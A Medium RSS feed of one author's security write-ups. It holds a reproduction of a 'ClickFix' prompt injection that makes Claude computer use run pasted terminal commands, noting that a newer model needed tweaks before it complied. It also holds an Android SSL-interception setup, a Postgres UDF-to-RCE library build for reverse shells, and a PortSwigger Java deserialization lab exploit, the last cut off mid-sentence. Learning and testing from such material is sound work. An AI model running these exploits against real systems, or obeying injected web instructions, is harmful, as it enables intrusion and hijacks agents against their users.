<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by niraj choubey on Medium]]></title>
        <description><![CDATA[Stories by niraj choubey on Medium]]></description>
        <link>https://medium.com/@nir-choubey-2011?source=rss-60ef744a8b9d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*c-j9jaIjZqFv1GSZGJgACw.jpeg</url>
            <title>Stories by niraj choubey on Medium</title>
            <link>https://medium.com/@nir-choubey-2011?source=rss-60ef744a8b9d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 02:35:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nir-choubey-2011/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ClickFix: The AI way, manipulating agents]]></title>
            <link>https://nir-choubey-2011.medium.com/clickfix-the-ai-way-manipulating-agents-462a4aef95f4?source=rss-60ef744a8b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/462a4aef95f4</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[clickfix]]></category>
            <category><![CDATA[computer-use]]></category>
            <category><![CDATA[ai-red-teaming]]></category>
            <category><![CDATA[llm]]></category>
            <dc:creator><![CDATA[niraj choubey]]></dc:creator>
            <pubDate>Sun, 17 Aug 2025 00:46:53 GMT</pubDate>
            <atom:updated>2025-08-17T00:46:53.675Z</atom:updated>
            <content:encoded><![CDATA[<p>ClickFix is a social engineering technique that manipulate users to copy and paste malicious PowerShell scripts to infect their computers with malware.</p><p>This technique started being seen in the wild in 2024 and was named as clickfix by the proofpoint researchers.</p><h3>How the ClickFix Attack Unfolds</h3><ol><li><strong>Lure User</strong><br> The user visits a malicious or compromised website — either via phishing emails, malvertising, or hijacked legitimate domains.</li><li><strong>Fake Prompt Display</strong><br> The site presents a convincing prompt a “<em>CAPTCHA verification</em>”, “<em>technical fix required</em>”, “<em>update browser</em>” or “<em>enable camera/microphone</em>” etc.</li><li><strong>Clipboard Hijack</strong><br> When the user interacts (e.g., clicks “Fix it”), a hidden, obfuscated script silently copies a malicious PowerShell command into the clipboard.</li><li><strong>User Instruction</strong><br> The user is then told to:</li></ol><ul><li>Press <strong>Win + R</strong> to open the Run dialog.</li><li>Press <strong>Ctrl + V</strong> to paste the command.</li><li>Press <strong>Enter</strong> to “verify” or “fix” the issue.</li></ul><p><strong>5. Malware Execution Chain</strong><br> Execution of the clipboard command fetches and runs malware</p><p><strong>6. Compromise</strong><br> The attacker gains remote access or steals data, depending on the payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*GHaVzVWcnugCvmwhZuocwA.png" /><figcaption><strong><em>Examples of malicious websites impersonating Google Chrome, Facebook, PDFSimpli, and reCAPTCHA, using the ClickFix tactic ( Source </em></strong><a href="https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/"><strong><em>Sekoia</em></strong></a><strong><em> )</em></strong></figcaption></figure><h3>AI ClickFix</h3><p>To execute a successful ClickFix attack we need multiple things to align and user should be convinced to carry out certain steps. However, when it comes to AI handling your computer you just need to lure AI that&#39;s it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HO88iGT9iMqgBffCofPlFw.png" /><figcaption>AI take the bait</figcaption></figure><p>Attacker just have to lure the AI agent to visits the malicious website and go through the content. Since these AI agents are pretty smart they will carry out remaining of the steps on their own.</p><p>I came across this blog from embrace the red demonstrating AI clickFix <a href="https://embracethered.com/blog/posts/2025/ai-clickfix-ttp-claude/">https://embracethered.com/blog/posts/2025/ai-clickfix-ttp-claude/</a> . Its quite fascinating how agents can be used for a multistep attacks to reduce the complexity and increase the likelihood.</p><h3>Executing the attack with Claude Computer use</h3><p>If you want to try the implement yourself and see the magic, here is the source <a href="https://github.com/nirajchoubey12/nirajchoubey12.github.io">https://github.com/nirajchoubey12/nirajchoubey12.github.io</a></p><h4>Steps to reproduce:</h4><ol><li>Get the API key from <a href="https://console.anthropic.com/">https://console.anthropic.com/</a> . This will be needed while using the model</li><li>Download and install Docker locally for the computer use image to run</li><li>Run following command <strong><em>docker run -e ANTHROPIC_API_KEY=$ANTHROPIC_API_KEY -v $HOME/.anthropic:/home/computeruse/.anthropic -p 5900:5900 -p 8501:8501 -p 6080:6080 -p 8080:8080 -it ghcr.io/anthropic-quickstarts:computer-use-demo-81c4085</em></strong></li><li>Open <a href="http://localhost:8080/">http://localhost:8080</a></li><li>If you are doing it on windows, better to use WSL</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XbH25GWoBSxDsV3gRmlYgQ.png" /><figcaption>Claude Computer use</figcaption></figure><p>6. Go to the chat box and type navigate to <em>&lt;site_hosting_the_clickfix&gt;</em> and follow instructions</p><p>7. It will follow all the instructions, and execute the commands on terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iG5sKv_J3NPJD-yBBmKgcQ.png" /><figcaption>Calculator opened after code execution</figcaption></figure><p>Below is the video i uploaded on you tube showing the demo:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FugfY6LDkhWQ%3Fstart%3D4%26feature%3Doembed%26start%3D4&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DugfY6LDkhWQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FugfY6LDkhWQ%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/127c85c5d154fd87d100347c6e2613ac/href">https://medium.com/media/127c85c5d154fd87d100347c6e2613ac/href</a></iframe><h3>Note:</h3><ol><li>Model used in this demonstration is claude-3–7-sonnet, claude 4 was complaining a lot and need some tweaks to carry this attack</li><li>Original post by <a href="https://embracethered.com/">embracethered </a>was using a traditional <strong>CTRL+SHIFT+V</strong> on the terminal, however i was having issue probably due to default terminal configuration, so i modified the instruction to first open the copied content in browser and if it errors out ( which it will be ) , run the same in terminal</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I9rD-gC0uDXaAFN5rPQbBg.png" /><figcaption>Instruction for computer use to follow</figcaption></figure><p>3. Its just me learning and trying interesting( for me not sure about you ) stuffs :)</p><p>Reach out if you want to discuss security stuffs on linkedin <a href="https://www.linkedin.com/in/niraj-kumar-choubey-7351b892/">https://www.linkedin.com/in/niraj-kumar-choubey-7351b892/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=462a4aef95f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intercepting Android Emulator SSL traffic with burp using magisk]]></title>
            <link>https://infosecwriteups.com/intercepting-android-emulator-ssl-traffic-with-burp-using-magisk-bc948dca68f9?source=rss-60ef744a8b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc948dca68f9</guid>
            <category><![CDATA[magisk-root]]></category>
            <category><![CDATA[android-security]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[niraj choubey]]></dc:creator>
            <pubDate>Wed, 23 Feb 2022 05:28:54 GMT</pubDate>
            <atom:updated>2022-02-23T05:28:54.203Z</atom:updated>
            <content:encoded><![CDATA[<p>In an android security testing intercepting SSL traffic from the apk is one of the basic requirement. Their are many ways in which it can be done</p><ul><li>Using Genymotion</li></ul><p>Genymotion is the easiest one cause the emulators that comes with it is rooted. This article here has pretty good explanation of configuring burp with genymotion <a href="https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/">https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/</a></p><ul><li>Physical device</li></ul><p>Everyone does not have the availability of an actual physical device to security test an android apk ( You can believe me or not )</p><ul><li>Android emulator</li></ul><p>Android emulators can easily be configured using AVD that comes preinstalled when you install android studio. If emulator is the rooted one then we can use the same process for configuring burp as with genymotion, but rooted emulator comes with its own challenges of bypassing the root detection which are implemented in many apps.</p><p>So I am going the put down a step by step process ( these are all out there on the internet, not in one piece though ) in which we will use a plain emulator and install burp certificate as a system certificate with the help of magisk</p><h4>Install Android Studio</h4><p>Assuming everyone can do this</p><h4>Create a device in AVD</h4><ol><li>Start android studio and select Virtual Device Manager</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sG0ITy4nXPP_OXub6VXZng.png" /></figure><p>2. Use the Create device button to create a virtual device</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z3-DJeN3tNsrtkZzuXo92Q.png" /></figure><p>3. Select any device definition or pixel 5 because that looks good</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PgDMohQ_wgg_7-sM49qQag.png" /></figure><p>4. select a system image , I will use API 30 for now ( download it with the link in release name column ) and click finish on the next screen</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GWMRocAKYwpmwM4cGnAVpQ.png" /></figure><p>Now you have a device created, which you can start from the Device Manger screen</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3zK_XQB_BeLVhOCVbxfUNw.png" /></figure><p>Click on the play button to start the device</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*cGGC3tdIL6q8r7eyMOm0Zw.png" /></figure><p>Make sure emulator has internet connection, if not use the dropdown button on Device Manager window and click on <strong>Wipe Data</strong> ( probably reboot the emulator as well ) . Emulator should have a working internet now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G0sjBddAt8ZdlTs5qwk9iA.png" /></figure><h4>Install Magisk</h4><p>Few perquisites</p><ul><li>Download platform tools <a href="https://developer.android.com/studio/releases/platform-tools">https://developer.android.com/studio/releases/platform-tools</a></li><li>Magisk apk <a href="https://github.com/topjohnwu/Magisk/releases/download/v24.1/Magisk-v24.1.apk">https://github.com/topjohnwu/Magisk/releases/download/v24.1/Magisk-v24.1.apk</a></li><li>Download rootAVD repo from <a href="https://github.com/newbit1/rootAVD">https://github.com/newbit1/rootAVD</a></li></ul><p>We will use Magisk as our rooting solution and rootAVD script for installing magisk. This YouTube video here contains all the steps of rooting with magisk <a href="https://www.youtube.com/watch?v=JR4gDRYzY2c">https://www.youtube.com/watch?v=JR4gDRYzY2c</a></p><ol><li>add platform tools in system path variable</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*gXX_DdWD_3AFvHPtjy1ivw.png" /></figure><p>2. Unzip rootAVD</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2tHUE8vk_UIR0_3gifggow.png" /></figure><p>3. put the downloaded magisk apk in the Apps folder ( unzipped rootAVD repo ). Change the name to Magisk.apk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VNiuGX2RVnv9xRH4bEwNPw.png" /></figure><p>4. Start adb server with the command <strong>adb start-server</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*ePIwGCv_coL2175bgw6gOA.png" /></figure><p>5. run <strong>rootAVD.bat InstallApps , </strong>this will install Magisk app on the emulator device</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MlDP6sleyh-cFQtJ-GxQuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*uWX4hinVA6aRrb2WjjEZjQ.png" /></figure><p>6. Find the location of the system-image <strong>ramdisc.img</strong> file. This image file belongs to the API we use while configuring the device from device manager. It’s location will be %localappdata%\Android\Sdk\system-images\android-30\google_apis\x86\ramdisk.img , create a backup of the original ramdisc.img file and run the command</p><p><strong>rootAVD.bat</strong> <strong>%localappdata%\Android\Sdk\system-images\android-30\google_apis\x86\ramdisk.img</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cDUJot-cfL4uNx_-poXBOg.png" /></figure><p>Complete log of running above command for troubleshooting <a href="https://github.com/nirajchoubey12/Android-security/blob/main/Configuring%20burp%20with%20android%20emulator/RamdiskImgLog_rootAVD.txt">https://github.com/nirajchoubey12/Android-security/blob/main/Configuring%20burp%20with%20android%20emulator/RamdiskImgLog_rootAVD.txt</a></p><h4>Installing “AlwaysTrustUserCerts” Magisk module</h4><p>Start Magisk and select ok if it asks for addition setup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*VzR2UsNDqR18_y8WDxKclw.png" /></figure><p>This will restart emulator. Start Magisk app again and click on 4th icon at the bottom of the screen</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*Gx-5szcXSE78cLvYHYgqnA.png" /></figure><p>Download Alwaystrustusercerts.zip file from this link <a href="https://github.com/NVISOsecurity/MagiskTrustUserCerts/releases/download/v0.4.1/AlwaysTrustUserCerts.zip">https://github.com/NVISOsecurity/MagiskTrustUserCerts/releases/download/v0.4.1/AlwaysTrustUserCerts.zip</a> and transfer it to the emulator with command <strong>adb push AlwaysTrustUserCerts.zip /sdcard/download</strong></p><p>If you are wondering, AlwaysTrustUserCerts.zip is a Magisk module which will covert the installed user certificates into system certificates</p><p>On the Modules screen click on install from storage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*6Ps3n4idjcq-aFw5ujzWQA.png" /></figure><p>select the downloaded zip file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*kdvUgdl8VS8Ya8RFDXEi-Q.png" /></figure><p>This will install the module</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*ZUkwIVXPMPeYeonTKfKuQw.png" /></figure><h4>Installing burp certificate as system cert</h4><p>After all this trouble we are at the last step</p><ol><li>Export burp certificate and save it as cacert.cer. push the cacert.cer to the emulator as done previously for the AlwaysTrustUserCert zip file</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*DFpyIOk1K0yS52_-WZrq0A.png" /></figure><p>2. In the emulator go to Settings &gt; Security &gt; Encryption &amp; Credentials &gt; Install a certificate ( These options may vary for different types of devices ) and click on CA certificate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*LSf90JYfjGAW-SUgfHTX8w.png" /></figure><p>Emulator will show a warning, ignore that and click on Install anyway. Select the cacert.cer file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*i1uiLRPxs_-z0y0RzfXUkg.png" /></figure><p>This will install burp certificate as the user certificate. Settings &gt; Security &gt; Encryption &amp; Credentials &gt; Trusted credentials , user tab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*mk4mjxvyV1vqZoRd-gI-2A.png" /></figure><p>Now we have to reboot the emulator and AlwaysTrustUserCert magisk module will do its magic and add the burp certificate as system certificate. After the device reboot, burp certificate will gets added to system certificate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*WrAD38N6kbKo1F6IkuJoeQ.png" /></figure><h4>Configuring Emulator proxy for intercepting traffic with burp</h4><p>Now we just need to configure the emulator proxy for the traffic to go through burp. Configure the emulator proxy as per the below image. Click on the 3 dots at the bottom and got to settings &gt; Proxy &gt; Manual proxy configuration. Click on Apply. Proxy status should show as Success</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9D5cuwuCqQOnvpQY95eNCw.png" /></figure><p>Now you won’t have problem intercepting the ssl traffic from emulator to burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r66uOJEVXrg7vxPwhW2rrQ.png" /></figure><p>I hope this would help someone starting their journey in android security testing and works a reference for me.</p><p>Reach out to me on linkedin <a href="https://www.linkedin.com/in/niraj-kumar-choubey-7351b892/">https://www.linkedin.com/in/niraj-kumar-choubey-7351b892/</a> and say hi. If you are stuck with any of the above process. Will try to resolve if I can.</p><h3>🔈 🔈 Infosec Writeups is organizing its first-ever virtual conference and networking event. If you’re into Infosec, this is the coolest place to be, with 16 incredible speakers and 10+ hours of power-packed discussion sessions. <a href="https://iwcon.live/">Check more details and register here.</a></h3><p><a href="https://iwcon.live/">IWCon2022 - Infosec WriteUps Virtual Conference</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc948dca68f9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/intercepting-android-emulator-ssl-traffic-with-burp-using-magisk-bc948dca68f9">Intercepting Android Emulator SSL traffic with burp using magisk</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Compiling Postgres library for exploiting UDF to RCE]]></title>
            <link>https://infosecwriteups.com/compiling-postgres-library-for-exploiting-udf-to-rce-d8cfd197bdf9?source=rss-60ef744a8b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8cfd197bdf9</guid>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[postgres]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[udf]]></category>
            <dc:creator><![CDATA[niraj choubey]]></dc:creator>
            <pubDate>Tue, 23 Nov 2021 16:50:16 GMT</pubDate>
            <atom:updated>2021-12-06T11:08:47.088Z</atom:updated>
            <content:encoded><![CDATA[<p>I recently took WEB-300 course and clear the OSWE exam. WEB-300 course module includes UDF reverse shell. One thing I find difficult is how to compile libraries for specific version of postgres to be used with UDF. So I decided to share what I have learned.</p><p><a href="https://www.offensive-security.com/awae-oswe/">Advanced Web Attacks and Exploitation (AWAE) | Offensive Security</a></p><h4>Why I am writing this ?</h4><p>Well there are two reasons for this:</p><ol><li>Library required in the exploitation process are platform dependent. You can not run a library compiled on linux OS to exploit postgres running on windows and vice versa</li><li>At the same time libraries are dependent of major version of postgres</li></ol><p><strong>Note: If postgres version is more than 9.3 and COPY function is available with required permission, you can use </strong><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-command-execution"><strong>payload all things command injection</strong></a><strong> to get a reverse shell and not bother about UDFs :)</strong></p><h4>Compiling library on Linux</h4><p>we will use docker on kali for this purpose to avoid messing up with the host machine configurations and files ( <strong><em>I tried to do this on host first, caused my machine to break. Thankfully I had the back up of important stuffs.</em></strong>)</p><ol><li>If you don’t already have docker installed, this link has it explained properly for you <a href="https://airman604.medium.com/installing-docker-in-kali-linux-2017-1-fbaa4d1447fe">https://airman604.medium.com/installing-docker-in-kali-linux-2017-1-fbaa4d1447fe</a></li><li>Let’s pull in the docker image of major version of postgres with the <em>docker pull postgres:10.18 . </em>You can easily find the postgres version if you have already exploited sql injection</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*Mm8x9iPVYgfPzX9RF4MMWw.png" /></figure><p>3. Create a directory postgres-data in the host machine and mount it as data volume for the container to store all the database files</p><pre>root💀osboxes)-[/home/osboxes]<br>└─# <strong>mkdir postgres-data</strong></pre><p>4. Run the docker container with commands which map the the data volume to container <strong><em>udf-postgres</em></strong>, set the password to <strong><em>noob@123</em></strong> and map the port to 5432</p><pre>──(root💀osboxes)-[/home/osboxes]<br>└─# d<strong>ocker run -d --name udf-postgres -e POSTGRES_PASSWORD=noob@123 -v /home/osboxes/postgres-data/:/var/lib/postgresql/data -p 5432:5432 postgres:10.18</strong>    <br>92212e425db4ce74108a95d9a891ca1233979c470d2bb2fa58092618ef7f73f1<br>                                                                                                                                                                          <br>┌──(root💀osboxes)-[/home/osboxes]<br>└─# <strong>docker ps</strong>                                                                                                                                           <br>CONTAINER ID   IMAGE            COMMAND                  CREATED          STATUS          PORTS                                       NAMES<br>92212e425db4   postgres:10.18   &quot;docker-entrypoint.s…&quot;   14 seconds ago   Up 12 seconds   0.0.0.0:5432-&gt;5432/tcp, :::5432-&gt;5432/tcp   udf-postgres</pre><p>5. Exec into the running container</p><pre>┌──(root💀osboxes)-[/home/osboxes]<br>└─# <strong>docker exec -it udf-postgres bash</strong>                                                                                                                               <br>root@92212e425db4:/#</pre><p>6. Run <strong><em>apt-get update</em></strong> and <strong><em>apt-get install postgresql-server-dev-10 </em></strong><em>( using dev-10 considering the major version of the postgres) . </em>We need to install postgresql-server-dev cause that contain libraries which will be required for compiling UDF</p><pre>root@92212e425db4:/# <strong>apt-get update</strong><br><br>Fetched 8,448 kB in 5s (1,491 kB/s)                                   <br>Reading package lists... Done</pre><pre>root@92212e425db4:/# <strong>apt-get install postgresql-server-dev-10</strong></pre><p>7. Install gcc inside the container</p><pre>root@92212e425db4:/# <strong>apt install gcc</strong></pre><p>8. Download pg_exec.c from this github repository <a href="https://github.com/Dionach/pgexec/blob/master/pg_exec.c">https://github.com/Dionach/pgexec/blob/master/pg_exec.c</a> and move to <strong>postgres-data</strong> directory mapped to container volume</p><pre>┌──(root💀osboxes)-[/home/osboxes/postgres-data]<br>└─# <strong>ls -la *.c</strong><br>-rw-r--r-- 1 root root 255 Nov 20 04:58 pg_exec.c</pre><p>9. Locate <strong>postgres.h</strong> library, cause its required for compilation</p><pre>root@92212e425db4:/# <strong>find / -iname postgres.h 2&gt;/dev/null</strong><br>/usr/include/postgresql/10/server/postgres.h</pre><p>10. cd to mapped directory inside container i.e. <strong>/var/lib/postgresql/data</strong>. That is were our <strong>pg_exec.c</strong> file is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*csIM4Z9T-gk0d2a1iDQdqA.png" /></figure><p>11. Now compile the <strong>pg_exec.c</strong> into an .so file using below command</p><pre>root@92212e425db4:/var/lib/postgresql/data# <strong>gcc -I /usr/include/postgresql/10/server/ -shared -fPIC -o pg_exec.so pg_exec.c</strong></pre><p>12. You can find the compiled binary <strong>pg_exec.so</strong> on the host server in postgres-data directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KvmEzZVrUucdP_iCzTow9Q.png" /></figure><p>Now all that is left is transferring the generated <strong>pg_exec.so </strong>to the target system using sql injection discovered and storing them in postgres large objects. Later copy the same binary into local file system on target for it to be called by a UDF . Here are some resources which will help you for gaining reverse shell once you have the proper binary</p><ul><li><a href="https://blog.pentesteracademy.com/postgresql-udf-command-execution-372f0c68cfed">PostgreSQL UDF Command Execution</a></li><li><a href="https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/">PostgreSQL 9.x Remote Command Execution - Dionach</a></li></ul><p>Thanks for reading. Let me know if you find any difficulty replicating above steps, will be happy to clear your doubt. Also if you need step by step instruction for creating a window DLL to be used in the UDF -&gt; RCE exploit, just leave a message in the comment.</p><p>Connect with me on LinkedIn <a href="https://www.linkedin.com/in/niraj-kumar-choubey-7351b892/">https://www.linkedin.com/in/niraj-kumar-choubey-7351b892/</a> to say hi or discuss about anything cyber security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8cfd197bdf9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/compiling-postgres-library-for-exploiting-udf-to-rce-d8cfd197bdf9">Compiling Postgres library for exploiting UDF to RCE</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insecure Deserialization — Web Challenges — Part 1]]></title>
            <link>https://infosecwriteups.com/insecure-deserialization-web-challenges-part-1-7d1b7339ca?source=rss-60ef744a8b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d1b7339ca</guid>
            <category><![CDATA[insecure-deserialization]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[niraj choubey]]></dc:creator>
            <pubDate>Tue, 08 Jun 2021 16:35:11 GMT</pubDate>
            <atom:updated>2021-06-08T16:35:11.768Z</atom:updated>
            <content:encoded><![CDATA[<h3>Insecure Deserialization — Web Challenges — Part 1</h3><p>This writeup will be about solving expert level challenges in insecure deserialization category on port swigger web academy. I will cover this in 3 parts, solving 3 challenges. Want to keep each part small and simple.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/0*JbBmp4n9KPIQC0qS.jpg" /><figcaption>Image taken from port swigger web academy</figcaption></figure><h3>Developing a custom gadget chain for Java deserialization</h3><h4>Challenge</h4><p><a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization">https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization</a></p><h4>Solution</h4><h4>Step — 1</h4><p>Once we login to the app using wiener:peter, a session cookie is generated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1pu1Jau9bfdYF71XECXe3g.png" /><figcaption>Login POST request</figcaption></figure><p>If you look at the session cookie value it starts with rO0 , that’s a clear indication that cookie value is base64 encoded java serialized object. As is also mentioned in problem statement. ( So nothing big :) )</p><p>Let’s decode the session cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_InAGGwwUps59Kf7_eAijA.png" /></figure><p>we can see few things</p><ol><li>Serialized java class name — AccessTokenUser</li><li>Class fields AccessToken , username and their value</li></ol><h4>Step — 2</h4><p>Now if we look at the source of the html page, we can see this commented code &lt;! — &lt;a href=/backup/AccessTokenUser.java&gt;Example user&lt;/a&gt; → . Going to /backup endpoint we find two java file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZM4jBK9WtmOEkCe0XG30EQ.png" /></figure><p>AccessTokenUsre.java is the class that is getting serialized and being returned in the session cookie. Pay attention to username and accessToken fields.</p><pre>public class AccessTokenUser implements Serializable<br>{<br>    private final String username;<br>    private final String accessToken;<br><br>    public AccessTokenUser(String username, String accessToken)<br>    {<br>        this.username = username;<br>        this.accessToken = accessToken;<br>    }<br><br>    public String getUsername()<br>    {<br>        return username;<br>    }<br><br>    public String getAccessToken()<br>    {<br>        return accessToken;<br>    }<br>}</pre><p>Now lets look at the ProductTemplate.java source code. ProductTemplate.readObject() method invokes inputStream.defaultReadObject(); readObject() method will be called when deserializing the serialized ProductTemplate object. Also we can see a constructor initializing field id.</p><pre>private final String id;<br>    private transient Product product;<br><br>    public ProductTemplate(String id)<br>    {<br>        this.id = id;<br>    }<br>private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException<br>    {<br>        inputStream.defaultReadObject();       </pre><p>One more thing to notice is that, there is one sql query which is using this id field directly into the query. Clear case of sql injection here.</p><pre>Connection connect = connectionBuilder.connect(30);<br>            String sql = String.format(&quot;SELECT * FROM products WHERE id = &#39;%s&#39; LIMIT 1&quot;, id);<br>            Statement statement = connect.createStatement();<br>            ResultSet resultSet = statement.executeQuery(sql);<br>            if (!resultSet.next())<br>            {<br>                return;<br>            }<br>            product = Product.from(resultSet);</pre><p>So our exploit steps would be</p><ol><li>Create a serialized object from the product template java file obtained earlier. Put in our payload in the id field and base64 encode the serialized object</li><li>Use the base64 encoded value from step1 in the session cookie. Once this value is deserialized ( readObject() will be invoked ) we can exploit the sql injection using our payload in id field.</li><li>Sql query will be executed, since it’s in the readObject() method which will be called during deserialization</li><li><strong>Note</strong> that private transient Product product is transient, so this field will not be serialized.</li><li>Once we extract the administrator password exploiting sql injection, we delete the carlos account and solve the lab.</li></ol><h4>Step — 3</h4><p><strong>Creating a serialized object</strong></p><p>Port Swigger already provided the sample java files which can be used to create the serialized object <a href="https://github.com/PortSwigger/serialization-examples/tree/master/java/solution">https://github.com/PortSwigger/serialization-examples/tree/master/java/solution</a>. Copy the files in your local folder and compile them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jdHu_l6T_kqxRWEaxgd2ng.png" /></figure><p>If you look at the product template java file ( the one used to create serialize object ). All that matters is the constructor which is setting the id field value.</p><pre>// All logic removed from ProductTemplate as it&#39;s not needed for serialization<br>package data.productcatalog;<br>import java.io.Serializable;</pre><pre>public class ProductTemplate implements Serializable<br>{<br>    static final long serialVersionUID = 1L;</pre><pre>private final String id;<br>    private transient Product product;</pre><pre>public ProductTemplate(String id)<br>    {<br>        this.id = id;<br>    }</pre><p>We will instantiate ProductTemplate object from the Main.java calling the constructor with payload in the id field value, serialize the object and base64 encode it. This base64 encoded value can be used in the session cookie.</p><pre>public static void main(String[] args) throws Exception {<br>ProductTemplate originalObject = new ProductTemplate(args[0]); <strong>//</strong> <strong>Take command line argument and instantiate the Object</strong></pre><pre>String serializedObject = serialize(originalObject); <strong>// serialize the object </strong></pre><pre>System.out.println(&quot;Serialized object: &quot; + serializedObject);</pre><pre>ProductTemplate deserializedObject = deserialize(serializedObject); <strong>// this is not required. Just for testing purpose</strong></pre><pre>    }</pre><pre>private static String serialize(Serializable obj) throws Exception {<br>        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);<br>        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {<br>            out.writeObject(obj);<br>        }<br>        return Base64.getEncoder().encodeToString(baos.toByteArray()); <strong>// base64 encoding</strong><br>    }</pre><p>Compile java classes</p><pre>javac  data/productcatalog/Product.java<br>javac  data/productcatalog/ProductTemplate.java<br>javac  Main.java</pre><p>We will create a 